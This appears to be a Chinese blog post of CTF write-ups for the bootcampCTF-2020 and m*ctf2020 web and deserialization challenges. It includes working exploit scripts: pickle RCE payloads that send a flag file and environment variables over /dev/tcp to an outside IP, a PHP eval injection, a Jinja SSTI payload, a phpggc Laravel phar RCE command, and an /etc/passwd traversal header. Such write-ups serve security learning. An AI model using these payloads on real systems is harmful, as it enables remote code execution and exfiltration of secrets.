国庆放假一直在刷题,大概是因为国赛自己打的太烂了吧…..感觉有不少东西还是可以精进的。
然后头几天怼了下htb的几道challenge.一个做了很久的题终于怼出来了,还有一道新题卡住了,另一道难题以为有了突破结果发现源码改了。。。。。。不过最后终于怼出来了2333.于是这两天就打了下ctftime上的两个ctf放松下。 bootcamp-2020是b01lers办的新手赛还是比较简单的,就是lua那题我怎么也没想到它websocket端口是对外的。另一个m*ctf2020挺有意思,难度有点高。而且其中除了web这个分类还有专门一个反序列化分类,比较有趣。目前他们都已经开放仓库,感兴趣的也可以去看看 :)https://github.com/b01lers/bootcamp-2020
https://gitlab.com/mctf/quals-2020
bootcampCTF-2020 做题时简单做的笔记。所以没图。将就看吧
Find That Data! 整体上是个静态功能。首先登陆界面js中提示存在/maze
路由。接下来发现maze.js中定义
1 2 3 4 5 6 7 function check_data ( ) { if (x === 1 && y === maxRows) { $.post("/mem" , { token : $("#token" ).html() }).done(function (data ) { alert("Memory: " + data); }); } }
post/mem
传递token=xxx
即可。token通过访问/token
即可获得。大概几秒刷新一次。
Programs Only 实话说真的脑洞。要不是因为想起来国际赛经常有这种python后端放robots.txt的操作我真搞不出来。
1 2 3 4 5 User-agent: Program Allow: /program/ User-agent: Master Control Program 0000 Allow: /program/control
改UA访问后一个即可
Reindeer Flotilla flag在加了混淆的js里
First Day Inspection flag一部分在加了混淆的js里剩下的四处找找就完了。
EnFlaskCom 有点意思。给了两个cookie.一个cookie user明显是pickle序列化数据的16进制。不过另一个cookie signature只能看出是256位。不知道算法。
存在报错,那么可以简单尝试更换cookie爆出部分源码。
于是疯狂fuzz.开始只单纯更改cookie的数值话,触发报错只能得到部分语句。就是知道他会调用自定义的sign()
函数计算user的签名并与cookie中的signature进行assert断言。那么显然需要报错带出sign这个函数的源码。
显然我们只是更改cookie的值的话,传递结果总是字符串。那么sign函数是不会报错的,自然就不会爆出源码。 故将cookie改为数组传递下。就能得到sign源码
1 2 3 4 5 6 7 8 9 def sign (msg) : if type(msg) is not bytes: msg = bytes(msg, 'utf8' ) keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027 , e=65537 , d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601 , p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843 , q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089 , u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156 ) signer = pkcs1_15.new(keyPair) hsh = SHA384.new() hsh.update(msg) signature = signer.sign(hsh) return signature
进而调用pickle RCE即可.本来不想rce的结果发现is_admin()
返回True没改成。干脆就直接rce了nc -lvkp 9001
监听 然后bash -c " cat flag.txt > /dev/tcp/ip/port"
即可。避免弹shell造成干扰。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsfrom Crypto.Signature import pkcs1_15from Crypto.Hash import SHA384from Crypto.PublicKey import RSAimport binasciiimport pickleimport osdef sign (msg) : if type(msg) is not bytes: msg = bytes(msg, 'utf8' ) keyPair = RSA.RsaKey(n=122929120347181180506630461162876206124588624246894159983930957362668455150316050033925361228333120570604695808166534050128069551994951866012400864449036793525176147906281580860150210721340627722872013368881325479371258844614688187593034753782177752358596565495566940343979199266441125486268112082163527793027 , e=65537 , d=51635782679667624816161506479122291839735385241628788060448957989505448336137988973540355929843726591511533462854760404030556214994476897684092607183504108409464544455089663435500260307179424851133578373222765508826806957647307627850137062790848710572525309996924372417099296184433521789646380579144711982601 , p=9501029443969091845314200516854049131202897408079558348265027433645537138436529678958686186818098288199208700604454521018557526124774944873478107311624843 , q=12938505355881421667086993319210059247524615565536125368076469169929690129440969655350679337213760041688434152508579599794889156578802099893924345843674089 , u=3286573208962127166795043977112753146960511781843430267174815026644571470787675370042644248296438692308614275464993081581475202509588447127488505764805156 ) signer = pkcs1_15.new(keyPair) hsh = SHA384.new() hsh.update(msg) signature = signer.sign(hsh) return signature class exp (object) : def __reduce__ (self) : s = """bash -c "cat flag.txt > /dev/tcp/xxx/9001" """ return (os.system, (s,)) e = exp() user=binascii.hexlify(pickle.dumps(e)).decode() signature=binascii.hexlify(sign(user)).decode() r = requests.get('http://chal.ctf.b01lers.com:3000/flag' ,cookies={'user' :user,'signature' :signature})
端口即可拿到flag
Where’s Tron? 给了源码 可以任意sql select语句执行。它唯一的限制就是limit 20
所以直接注释掉。在返回的几千条数据中直接找tron。它的某一个列中就是flag
1 select * from programs where name regexp "^Tron"
Next Gen Networking 给了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php function get_data () { if (!isset ($_POST["packet" ])){ return "<p>Error: packet not found</p>" ; } $raw_packet = $_POST["packet" ]; $packet = json_decode($raw_packet); if ($packet == null ) { return "<p>Error: decoding packet</p>" ; } if ($packet->version != 6.5 ) { return "<p>Error: wrong packet version</p>" ; } $calculated_ihl = strlen($packet->version) + strlen(strval($packet->len)) + strlen(strval($packet->ttl)) + strlen(strval($packet->seqno)) + strlen(strval($packet->ackno)) + strlen($packet->algo) + 64 ; $calculated_ihl = $calculated_ihl + strlen(strval($calculated_ihl)); if ($packet->ihl != $calculated_ihl or $packet->ihl > 170 ) { return "<p>Error: wrong header size</p>" ; } if ($packet->len != strlen($raw_packet)) { return "<p>Error: mismatched packet size</p>" ; } if ($packet->ttl - 1 != 0 ) { return "<p>Error: invalid ttl</p>" ; } if ($packet->ackno != $_COOKIE["seqno" ] + 1 ) { return "<p>Error: out of order packet</p>" ; } if ($packet->algo != "sha256" ){ return "<p>Error: unsupported algorithm</p>" ; } $checksum_str = "\$checksum = hash(\"$packet->algo\", strval($packet->ihl + $packet->len + $packet->ttl + $packet->seqno + $packet->ackno));" ; eval ($checksum_str); if ($packet->checksum != $checksum) { return "<p>Error: checksums don't match</p>" ; } $file_name_hash = hash("md5" , microtime()); $file_name = "sent/" .$file_name_hash.".packet" ; $packet_file = fopen($file_name, "w" ) or die ("Unable to open packet file" ); fwrite($packet_file, $packet->data); fclose($packet_file); return "<h1>Packet data written</h1><div><a href=\"" .$file_name."\">" .$file_name_hash.".packet</a></div>" ; } ?> <!DOCTYPE html> <html> <head> <title>Send Packet.</title> <link rel="stylesheet" href="/style.css" /> <link rel="stylesheet" href="/tron.css" /> </head> <body> <div id="main-wrapper" > <div class="content-page"> <?php echo get_data(); ?> </div> </div> </body> </html>
主要就是一个eval可以利用。然后用弱类型绕过属性的要求rce 如下:
1));?><?php system("cat ./sent/flag.packet.php"); -1 = 0
成立。 poc1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $raw_packet = '{"version":6.5,"len":110}' ; $packet=json_decode($raw_packet,true ); $packet["version" ] = 6.5 ; $packet["ttl" ]="1));?><?php system('cat /var/www/tron-eval/packets/sent/flag.packet.php');//" ; $packet["seqno" ]=0 ; $packet["ackno" ]=1 ; $packet["algo" ]="sha256" ; $calculated_ihl = strlen($packet["version" ]) + strlen(strval($packet["len" ])) + strlen(strval($packet["ttl" ])) + strlen(strval($packet["seqno" ])) + strlen(strval($packet["ackno" ])) + strlen($packet["algo" ]) + 64 ; $calculated_ihl = $calculated_ihl + strlen(strval($calculated_ihl)); $packet["ihl" ]=$calculated_ihl; $packet["len" ]=strlen(json_encode($packet)); var_dump(json_encode($packet));
exp1 2 3 4 5 6 import requestsurl='http://chal.ctf.b01lers.com:3002/packets/send.php' payload="""{"version":6.5,"len":164,"ttl":"1));?><?php system('cat \/var\/www\/tron-eval\/packets\/sent\/flag.packet.php');\/\/","seqno":0,"ackno":1,"algo":"sha256","ihl":157}""" r=requests.post(url,data={'packet' :payload}) print(r.text)
Derezzy 有点可惜。其实确实不难的。主要还是没想到它的websocket端口是对外的,有些郁闷。
首先题目整体上似乎是一个播放功能。然后可用的内容不多。只有一个main.js,用js-beautifyer美化下后看看其中的关键代码。
1 2 3 4 5 6 7 8 function updateServer ( ) { $.post("update" , { request: "listen" , path: "# wait where were my non-dynamic files..../app.lua" }, function (a, b ) { "success" == b ? console .log("successful update" ) : console .log("unsuccessful update" ) }) }
得知了update路由与传递的某个参数path提示我们有app.lua.因为是non-dynamic所以就是static静态了。static下有一个files文件夹。可以在里面找到app.lua
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 [{ update = "/update" }] = respond_to({ GET = function (self) return { render = true } end , POST = function (self) if self.POST.request == 'listen' then if not (self.session.id) then do local listener = Listens:find (csrf.generate_token(self)) if listener then self.session.id = listener.id else listener = Listens:create ({ id = csrf.generate_token(self), count = 0 }) self.session.id = listener.id end end end if self.session.id and not Listens:find (self.session.id) then local listener = Listens:create ({ id = csrf.generate_token(self), count = 0 }) self.session.id = listener.id end local listener = Listens:find (self.session.id) local data = "flag{........}" if listener.count >= 3470 then local ws = w.new_from_uri("ws://localhost:8181" ) assert (ws:connect()) data = { user = self.session.id, count = listener.count } assert (ws:send(cjson.encode(data))) data = cjson.decode(assert (ws:receive())) assert (ws:close ()) end local utct do local _accum_0 = { } local _len_0 = 1 for item in string .gmatch (listener.updated_at, "%d+" ) do _accum_0[_len_0] = item _len_0 = _len_0 + 1 end utct = _accum_0 end local updatetime = os .time ({ year = utct[1 ], month = utct[2 ], day = utct[3 ], hour = utct[4 ], min = utct[5 ], sec = utct[6 ] }) if listener ~= nil and os .time () - updatetime >= 104 then listener.count = listener.count + 1 listener:update("count" ) end return { json = { status = "success" , id = self.session.id, timestamp = listener.updated_at, count = listener.count, updatetime = updatetime, currenttime = os .time (), flag = data } } end return { redirect_to = "/" } end })
这里单独看下update路由的规则。不难发现只有count>=3470时会与websocket通信。此时服务端会返回一些内容。其中应该就是真正的flag了。
1 2 3 4 5 6 7 8 9 10 11 if listener.count >= 3470 then local ws = w.new_from_uri("ws://localhost:8181" ) assert (ws:connect()) data = { user = self.session.id, count = listener.count } assert (ws:send(cjson.encode(data))) data = cjson.decode(assert (ws:receive())) assert (ws:close ()) end
然后就没有然后了。。。我以为不可能让选手跟websocket通信就跑去看lua有没有什么其他方法修改时间参数。结果就掉进了rabbithole.知道能通信的话,解决方法就很简单了 因为有源码所以在自己服务器搭建了复现下。 这个题还有非常脑洞的地方。它返回的结果是用flag与你的名字进行异或。所以我们传递足够长的名字并且与之异或还原flag. 官方脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import asyncioimport websocketsimport jsonasync def solve () : uri = "ws://xxx:8181" async with websockets.connect(uri) as websocket: name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" data = {"user" : name, "count" : 3500 } await websocket.send(json.dumps(data)) resp = await websocket.recv() for r in resp: print(chr(ord(r) ^ ord('A' )), end="" ) asyncio.get_event_loop().run_until_complete(solve())
web题目就这么多。整体上比较简单。最后一个有点脑洞.不过顺带着看了下lua感觉还是蛮有意思的。写web应用的思路有点接近nodejs.
m*ctf2020 这个比赛去看时已经只剩2小时了。然后tg群里全是毛子,看不懂讲什么……只能看看gitlab上一些题目的思路了。 题目质量不错然后莫名的很对胃口。就是时间太紧加上tcl都没做出来2333.有一个专门的序列化分类。非常有意思。
Web-wiki 题目开始只能明确的是xff似乎会在首页渲染,加上是python不难想到ssti.但是更改xff访问会发现我们并不能控制渲染的内容。那么说明可能需要源码了。 存在一个路径穿越获取源码。其实这也算python比较经典的漏洞了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/index/<path:dir>') def getfile (dir) : check_dir = Disabled(str(dir)) xff = str(request.headers.getlist('X-Forwarded-For' )[0 ]).split(',' )[1 ] check_xff = Disabled(xff) if (check_xff.abort_rq()): xff = str(request.headers.getlist('X-Forwarded-For' )[0 ]).split(',' )[len(xff)-1 ] if not (check_dir.check_blocked()): try : with open(os.path.join('/app/static' , dir), 'r' ) as file: data = file.read() file.close() return data except FileNotFoundError: pass except PermissionError: pass return render_template_string(my_template(xff.replace('.' , '' )))
可以看到确实可以xff达成ssti.不过需要取,
后的内容为可控点。然后不能包含.
那就很简单了。用attr一条继承链或者直接
1 {{request['application' ]['__globals__' ]['__builtins__' ]['__import__' ]('os' )['popen' ]('env' )['read' ]()}}
1 2 3 4 5 6 7 8 url='http://web-library.mctf.online/index/' proxies={'http' :'127.0.0.1:1080' ,'https' :'127.0.0.1:1080' } payload="""{{request['application']['__globals__']['__builtins__']['__import__']('os')["popen"]("env")["read"]()}}""" headers={ 'X-Forwarded-For' :'123 ,' +payload } r=requests.get(url,headers=headers,proxies=proxies) print(r.text)
FLAG=MCTF{IS_IT_NOT_SO_SECURE_?}
DeadJournal 序列化分类的python序列化
登录会发现cookie是jwt形式的。而其中payload的一个值identity明显是pickle序列化后base64的结果。
那么需要key来伪造pickle序列化数值进行rce 爆破得到SecreT
(我绝对不会再用到c-jwt-cracker爆破key了,效果奇差。手写python + rockyou.txt 效果好了不知道多少倍)
因为禁止了os.system 以及eval这样的函数。所以用subprocess.checkoutput即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from base64 import b64encodeimport pickleimport jwtclass exp (object) : def __reduce__ (self) : cmd = ['bash' , '-c' , 'echo $(env) > /dev/tcp/120.27.246.202/9001 ' ] return __import__('subprocess' ).check_output, (cmd,) e = exp() poc = b64encode(pickle.dumps(e)).decode() token='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDE4MTE3NjQsIm5iZiI6MTYwMTgxMTc2NCwianRpIjoiOWU3YzYzOWYtZWVkZC00MzAxLWJkN2EtMmQ4ZDQxYWFjNTA0IiwiZXhwIjoxNjMzMzQ3NzY0LCJpZGVudGl0eSI6ImdBU1ZXZ0VBQUFBQUFBQ01EbkJyYkY5aGNIQXViVzlrWld4emxJd0VWWE5sY3BTVGxDbUJsSDJVS0l3U1gzTmhYMmx1YzNSaGJtTmxYM04wWVhSbGxJd1VjM0ZzWVd4amFHVnRlUzV2Y20wdWMzUmhkR1dVakExSmJuTjBZVzVqWlZOMFlYUmxsSk9VS1lHVWZaUW9qQWhwYm5OMFlXNWpaWlJvQTR3UFkyOXRiV2wwZEdWa1gzTjBZWFJsbEgyVWpBTnJaWG1VYUFKTHFvV1VUb2VVakF4c2IyRmtYMjl3ZEdsdmJuT1VqNVNNQm1Oc1lYTnpYNVJvQW93U1pYaHdhWEpsWkY5aGRIUnlhV0oxZEdWemxJK1VqQWxzYjJGa1gzQmhkR2lVWFpSb0FrNkdsR0dNQjIxaGJtRm5aWEtVakI1emNXeGhiR05vWlcxNUxtOXliUzVwYm5OMGNuVnRaVzUwWVhScGIyNlVqQkZmVTJWeWFXRnNhWHBsVFdGdVlXZGxjcFNUbENtQmxIMlVhQk5vQW5OaWRXS01DSEJoYzNOM2IzSmtsSXdETVRJemxJd0lkWE5sY201aGJXV1VqQWhoWkcxcGJqRXlNNVNNQW1sa2xFdXFkV0l1IiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.VBMiDwfU0EEaEIkq5GMH60THzvCb7QTWPEm-euvTQKs' key='SecreT' data=jwt.decode(token,verify=None ) data['identity' ]=poc token=jwt.encode(data,key=key,algorithm='HS256' ).decode() print(token) r=requests.get('http://dead-journal.mctf.online/' ,cookies={'access_token_cookie' :token})
flag在环境变量FLAG=MCTF{pl33Z_donT_u53_p1cKl13}
2in1 序列化分类的php反序列化
比较符合实战的题目。有两种文件上传方式。其中一个是直接上传。还有一种应该是file_get_contents
上传.这个环境是laravel,而且可以推测上传路径。加上只有jpeg的限制,那么就能够上传phar并进行触发达成rce.
phpggc真好用。。。直接生成rce的phar->jpeg文件。
1 ./phpggc -pj src_public_uploads_test.jpeg -o exp.jpeg Laravel/RCE1 system env
然后phar:///app/public/uploads/YWGXnnP49J.jpeg
触发
flag=mctf{better_than_w@r}
Chat 序列化分类的java反序列化 首先给出服务端的依赖以及一个jar包。应该是jdk11的环境。不过只是一个thin client.
1 2 3 4 5 6 7 dependencies { implementation 'org.springframework.boot:spring-boot-starter-websocket' compile group: 'com.esotericsoftware' , name: 'kryo' , version: '4.0.2' compile group: 'org.apache.xbean' , name: 'xbean-naming' , version: '4.17' compileOnly 'org.projectlombok:lombok' annotationProcessor 'org.projectlombok:lombok' }
直接走到关键点:找writeObject
然后就大致可以确认是kyro反序列化了。具体利用方法主要是marshalsec + Xbean依赖生成一个payloadfile.然后用类似jndi的方法加载恶意class抛出Error.在error中反序列化ChatMessage类 不过因为没有指定类以及一些细节问题。还需要重新编译marshalsec.具体参考https://gitlab.com/mctf/quals-2020/chat/-/blob/master/exploit/marshalsec.patch 加上一个写有静态方法抛出读文件payload的class即可达成rce.
整体上我还是有很多问题……不过既然源码都有了的话以后接触到kyro反序列化再回来填坑。
rails 反序列化类的ruby反序列化 基本上就是可以用这个直接打。不过因为要求ruby版本2.5.1就懒得打了。基本流程是两个cve打组合拳。 首先CVE-2019-5418是一个路径穿越的洞。可以在header中设置Accept: ../../../../../../../../etc/passwd
穿越路径访问到文件。 然后可以任意读了后就能读到反序列化的配置文件credentials.yml.enc ,master.key.计算出secret_key_base 后就能访问指定资源进行反序列化rce.CVE-2019-5420https://github.com/mpgn/Rails-doubletap-RCE
最后还是决定docker起了个2.5.1的环境……然后用这个exp时先bundle install (换源) + 安装nodejs + 去掉exploit.rb里的代理即可运行并反弹shell
flag:mctf{1_l0ve_rzhd